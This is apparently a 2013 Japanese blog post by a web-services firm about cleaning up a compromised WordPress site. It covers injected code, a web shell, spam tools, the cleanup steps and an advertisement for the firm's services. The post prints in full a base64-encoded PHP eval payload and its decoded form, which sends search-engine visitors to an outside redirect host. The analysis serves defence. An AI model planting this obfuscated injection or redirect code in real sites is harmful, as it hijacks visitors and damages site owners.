記事を読まれる方へ注意:2013年5月のものです

先日、お客様よりご相談があり、「Wordpressが一気にハッキングされたようだ」との事で、
海外アタックからの完全防御とウイルス(ではないが)の除去、以降の対策を依頼いただきました。

サーバー内に以下のような内容でクラックが発見されました。

1.727ファイルにおいて、書き換えが行われていた
2.20を超える第三者から操作できる、ゲートウェイプログラムが設置されていた
3.3つのスパムメール送信プログラムがあり、かつ5万通を超えるメールが送信されていた


まず、外部から恐ろしい数で埋め込まれたのが、以下に挙げるbase64エンコードされたプログラムです。

eval(base64_decode(“DQplcnJvcl9yZXBvcnRpbmcoMCk7DQokcWF6cGxtPWhlYWRlcnNfc2VudCgpOw0KaWYg
KCEkcWF6cGxtKXsNCiRyZWZlcmVyPSRfU0VSVkVSWydIVFRQX1JFRkVSRVInXTsNCiR1YWc9JF9TRVJWRVJbJ0hU
VFBfVVNFUl9BR0VOVCddOw0KaWYgKCR1YWcpIHsNCmlmICghc3RyaXN0cigkdWFnLCJNU0lFIDcuMCIpIGFuZCAh
c3RyaXN0cigkdWFnLCJNU0lFIDYuMCIpKXsKaWYgKHN0cmlzdHIoJHJlZmVyZXIsInlhaG9vIikgb3Igc3RyaXN0
cigkcmVmZXJlciwiYmluZyIpIG9yIHN0cmlzdHIoJHJlZmVyZXIsInJhbWJsZXIiKSBvciBzdHJpc3RyKCRyZWZl
cmVyLCJsaXZlLmNvbSIpIG9yIHN0cmlzdHIoJHJlZmVyZXIsIndlYmFsdGEiKSBvciBzdHJpc3RyKCRyZWZlcmVy
LCJiaXQubHkiKSBvciBzdHJpc3RyKCRyZWZlcmVyLCJ0aW55dXJsLmNvbSIpIG9yIHByZWdfbWF0Y2goIi95YW5k
XhcLnJ1XC95YW5kc2VhcmNoXD8oLio/KVwmbHJcPS8iLCRyZWZlcmVyKSBvciBwcmVnX21hdGNoICgiL2dvb2dsZ
VwuKC4qPylcL3VybFw/c2EvIiwkcmVmZXJlcikgb3Igc3RyaXN0cigkcmVmZXJlciwibXlzcGFjZS5jb20iKSBvci
BzdHJpc3RyKCRyZWZlcmVyLCJmYWNlYm9vay5jb20vbCIpIG9yIHN0cmlzdHIoJHJlZmVyZXIsImFvbC5jb20iKSk
gew0KaWYgKCFzdHJpc3RyKCRyZWZlcmVyLCJjYWNoZSIpIG9yICFzdHJpc3RyKCRyZWZlcmVyLCJpbnVybCIpKXs
NCmhlYWRlcigiTG9jYXRpb246IGh0dHA6Ly9vbm90aXcuZG5zZXQuY29tLyIpOw0KZXhpdCgpOw0KfQp9Cn0NCn0N
Cn0=”));

これが、727ファイル存在していました。
内容が不明なのでデコードを行うと、以下のような内容になっています。


error_reporting(0);
$qazplm=headers_sent();
if (!$qazplm){
    $referer=$_SERVER['HTTP_REFERER'];
    $uag=$_SERVER['HTTP_USER_AGENT'];
    if ($uag) {
        if (!stristr($uag,"MSIE 7.0") and !stristr($uag,"MSIE 6.0")){
            if (stristr($referer,"yahoo") or stristr($referer,"bing") or stristr($referer,"rambler") or stristr($referer,"live.com") or
            stristr($referer,"webalta") or stristr($referer,"bit.ly") or stristr($referer,"tinyurl.com") or preg_match("/yandex\.ru\/yandsearch\?
            (.*?)\&lr\=/",$referer) or preg_match ("/google\.(.*?)\/url\?sa/",$referer) or stristr($referer,"myspace.com") or
            stristr($referer,"facebook.com/l") or stristr($referer,"aol.com")) {
                if (!stristr($referer,"cache") or !stristr($referer,"inurl")){
                    header("Location: http://onotiw.dnset.com/");
                    exit();
                }
            }
        }
    }
}

検索エンジンからのアクセスを見て、特定サイトに飛ばすようです。
目的のプログラムが潰されているので、実行する事ができません。

2.ゲートウェイプログラムの設置

こちも問題です。プログラムを探してみるとありました。
ご依頼をいただいた時点でサーバー会社の緊急判断によりパーミッションが000になっていました。
一時的に許可を出して実行してみると、以下の画像のようなプログラムが実行されます。


2_2

ファイルのアップロードから、サーバー内操作のコマンド実行、サーバー情報まで。
つまり、このツールが入ったら完全にアウトです。乗っ取り状態です。
※gg.phpにswpが出ているのはvimで開いていただけです。

このツールも当然ながら削除する必要があります。
困ることに、これもファイル名が同じとも限りませんし、埋め込みコードも微妙に変更してあるので
若干見つけ出すのに面倒な点でしょうか。

3.スパムメールが送信されていた

(2)で紹介したツールでスパムメールの送信ツールがインストールされているようです。
今回のレンタルサーバー会社(今回はヘムテルさん ※注意:どこのサーバーでもハックは有り得ます)
「スパムが大量に来ているので困っている。」
と、スパムを受けた他社のサーバー管理元よりクレームが入ったことが発覚のキッカケでした。

一度スパムメールを送信しているサーバー・ドメインだと認識されると、いわゆるブラックリストに
登録されてしまいます。管理事業者は主にアメリカが中心が多数です。
それらを調べ、スパムは排除したと申告する必要もありました。

よくメールが自動的に「迷惑メール」と振り分けられているのをご存知だと思いますが、こういった
ブラックリストを利用しています。
事業者・店舗にとってはスパム扱いになるのは非常に問題です。


■ 対策

今回は、以下の対策を取りました。

1.base64プログラムの除去
⇒ これは、ファイル数があまりも大量なので、削除するプログラムを作りました。

2.スパムプログラムの除去
⇒ サーバー内を直接調べ、確認のうえ一括で削除を行いました。

3.スパムメール調査
⇒ 業者を調べ、ブラック追加になっていましたのでホワイトである申請を行いました。

その他

・海外からのアクセス禁止
⇒ 日本国外はすべてアクセス禁止としました。(今回はECサイトだったので)
すべて、ファイヤーウォールを調整し禁止しました。
もちろん、海外からのクロール等は生かすように通過データを入れてあります。

・全プログラムのバージョンアップ
⇒ 不正書き換えの起きないよう、バグフィックスを含めて変更

・権限調整
⇒ そもそもパーミッション(権限)のゆるいものは変更

・FTP接続の禁止
⇒ 万が一を考え、FTPは停止しました。かわりにscpでセキュリティの高い
ファイル転送に変更です。

見ていると、今回は非常に悪質で、場合によっては同じファイルにbase64が10回以上重ねて書き込まれていました
一度目をつけると、何度も巡回アタックプログラムがやってきて攻撃をするようです。

今のアタックは、それなりに目的があります。
乗っ取られたら、大切なドメインや固定IPに傷が付く事もありますし、信用にも関わります。

悩む経営者

対策をする場合は早めに。思い切ってサーバーは止めてでも処理を進めることをおすすめします。
ご依頼いただいても、着手までにさらに被害が広がる場合があります。

よるくま堂では、このようなWordPressに対するアタックやハッキング対策・事後処理も行います。
状況や対策によりますが、5万円~着手可能です。お気軽にご相談ください。